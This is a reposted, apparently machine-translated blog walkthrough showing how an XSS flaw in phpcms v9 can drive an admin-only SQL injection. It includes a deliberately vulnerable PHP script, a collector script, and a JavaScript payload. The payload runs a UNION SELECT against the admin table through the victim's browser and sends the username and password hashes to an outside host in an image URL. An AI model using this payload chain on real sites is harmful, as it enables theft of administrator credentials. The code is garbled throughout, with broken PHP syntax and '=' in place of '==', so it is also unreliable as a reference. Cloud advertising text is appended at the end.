Yesterday, I saw the xss explosion in phpcms v9.1.15 and the unauthenticated SQL injection, so I wanted to test and execute SQL Injection Using xss. Although this phpcms vulnerability has many other usage cases! However, I did not find the phpcms v9.1.15 test for this injection. None of the other versions have been tested successfully!
As a result, I only assume the next extreme environment:
1. The front-end has only one xss Vulnerability (the Administrator cookie cannot be obtained)
2. There is only one SQL injection vulnerability in the background (injection vulnerability files are accessible only by administrators)
3. Inject and obtain the administrator password for decryption
4. No other vulnerabilities (including getwebshell in the background)
In fact, I just want to say that we can only use this xss to execute injection!
Simulated injection vulnerability code
Sqli. php
01 <? Php
02 @ error_reporting (E_ALL &~ E_NOTICE &~ E_WARNING); // ignore the error
03 $ con = mysql_connect ("localhost", "root ","");
04 if (! $ Con) {die ('could not connect: '. mysql_error ());}
05 mysql_select_db ("test", $ con );
06 $ id = $ _ GET ['xss'];
07 $ SQL = "select id, realname from test where id =". "$ id ";
08 $ view = mysql_query ($ SQL );
09 $ row = mysql_fetch_array ($ view );
10 echo $ row [id]. "<br/> ";
11 echo $ row [realname]. "<br/> ";
12?>
Mysql database:
1 database: test
2 table: test, admin
3 column: test. id, test. realname
4 admin. id, admin. username, admin. password
Get. php (the acquired injected data is intercepted)
1 <? Php
2 $ file = fopen ("data.txt", "");
3 fwrite ($ file, $ _ GET ['get']);
4 fclose ($ file );
5?>
Xsssqli. js (payload)
01 function addLoadEvent (func) // window opens to load Multiple Functions
02 {
03 var oldfunc = window. onload; // The loading method is used to open the page.
04 if (typeof (window. onload )! = "Function ")
05 {
06 window. onload = func;
07}
08 else
09 {
10 window. onload = function ()
11 {
12 oldfunc ();
13 func ();
14}
15}
16}
17 function get_xsssqli ()
18 {
19 var url = "http://www.bkjia.com/xss/sqli. php? Xss = 1% 20and % 201 = 2% 20 union % 20 select % 20 username, password % 20 from % 20 admin ";
20 var ajax = null;
21 if (window. XMLHttpRequest)
22 {
23 ajax = new XMLHttpRequest ();
24}
25 else if (window. ActiveXObject)
26 {
27 ajax = new ActiveXObject ("Microsoft. XMLHTTP"); // ie6 and earlier versions
28}
29 else
30 {
31 return;
32}
33 ajax. open ("GET", url, true );
34 ajax. send (null );
35 ajax. onreadystatechange = function ()
36 {
37 if (ajax. readyState = 4 & ajax. status = 200)
38 {
39 var img = document. createElement ("img ");
40 img. src = "http://www.bkjia.com/xss/get. php? Get = "+ ajax. responseText;
41 document. body. appendChild (img );
42}
43}
44}
45 addLoadEvent (get_xsssqli );
Simulate xss vulnerabilities
1 2 3 <title> use xss to sqli </title>
4 5 <body>
6 <script src = http: // 127.0.0.1/xss/get. js> </script>
7 </body>
8
Finally, the data is successfully obtained:
Of course, you can also write a regular expression to intercept specified data!
Author: L. N. Blog http://lanu.sinaapp.com/htmlcssjisxml/112.html
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
